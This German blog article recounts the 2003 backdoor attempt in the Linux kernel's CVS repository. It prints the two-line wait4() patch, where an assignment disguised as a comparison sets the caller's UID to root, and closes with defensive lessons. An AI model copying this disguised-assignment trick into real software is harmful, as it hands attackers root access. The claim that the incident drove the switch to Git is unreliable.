Backdoor im Linux-Kernel: Wie ein wait4()-Bug fast Root-Zugriff gewährte
Im Jahr 2003 entdeckten Linux-Entwickler eine unbefugte Änderung im CVS-Repository. Ein verdächtiger Code-Ausschnitt war in die wait4()-Funktion eingefügt worden und hätte potenziell jedem Benutzer Root-Rechte eingeräumt. Die Änderung tauchte ohne jegliche Spuren im Haupt-BitKeeper-Repository auf und deutete direkt auf einen Einbruch ins CVS-Repository hin.
Der Code wirkte auf den ersten Blick harmlos:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Das Problem steckte im =-Operator. Statt eines Vergleichs mit == war es eine Zuweisung, die current->uid auf 0 (root) setzte, sobald wait4() mit den Flags __WCLONE und __WALL aufgerufen wurde. Dadurch öffnete sich ein Pfad zur Privilegieneskalation ohne weitere Überprüfungen.
Repository-Historie und der Einstiegspunkt der Schwachstelle
Damals setzte Linux parallel auf zwei Repositories:
- BitKeeper — das primäre, moderne VCS für den Kernel.
- CVS — ein Legacy-Repository für alte Tools und altmodische Entwickler.
Die Synchronisation lief manuell: Änderungen aus BitKeeper wurden zusammen mit Tags nach CVS übertragen. Der Angreifer zielte gezielt auf CVS ab und schob den Patch unbemerkt hinein. Das Fehlen automatisierter Checks und die unterschiedlichen Zielgruppen der Repositories ließen den Einbruch durchrutschen.
Entwickler stießen bei einer Routineüberprüfung auf die Anomalie: Ein Commit in CVS ohne Pendant in BitKeeper. Der Versionsvergleich legte den bösartigen Code offen.
Technische Analyse der Schwachstelle
Die wait4()-Funktion dient dem Warten auf das Beenden von Child-Prozessen mit erweiterten Optionen. Die Flags __WCLONE und __WALL betreffen Klone bzw. alle Prozesse.
Die Angriffslogik war einfach:
- Der Benutzer ruft
wait4(options = __WCLONE | __WALL)auf. - Die Bedingung
current->uid = 0weist UID 0 (root) zu. - Es wird
-EINVALzurückgegeben und tarnt den Erfolg. - Nachfolgende Systemaufrufe laufen als root.
Das war eine Zero-Day-Backdoor: Kein Exploit nötig, aktiviert durch einen Standardaufruf. Solche Versehen (= statt ==) sind eine häufige Quelle für Schwachstellen in C.
Lehren für die moderne Entwicklung
Der Vorfall unterstrich die Risiken von Legacy-Systemen. Heutige Praktiken minimieren solche Bedrohungen:
- Einzelnes Repository: Git mit Branching und PRs.
- CI/CD mit Checks: Automatisierte Diffs, statische Analyse (Coverity, Clang).
- Commit-Signierung: GPG/PGP zur Authentifizierung.
- Signierte Tags: Schutz der Releases.
- Fuzzing und Auditing: Kontinuierliche Tests von Syscalls.
Der Linux-Kernel schreibt nun Code-Reviews und automatisierte Tests für solche Muster vor.
Wichtige Erkenntnisse
- Der
=-statt-==-Bug inwait4()schuf eine Root-Backdoor für jeden Benutzer. - Der Hack gelang über CVS, BitKeeper blieb sauber.
- Die manuelle Repo-Sync war 2003 die schwache Stelle.
- Der Vorfall beschleunigte den Wechsel zu Git in der Kernel-Entwicklung.
- Bedingungen in if-Anweisungen doppelt prüfen: Compiler erwischen Zuweisungen nicht immer.
— Editorial Team
Noch keine Kommentare.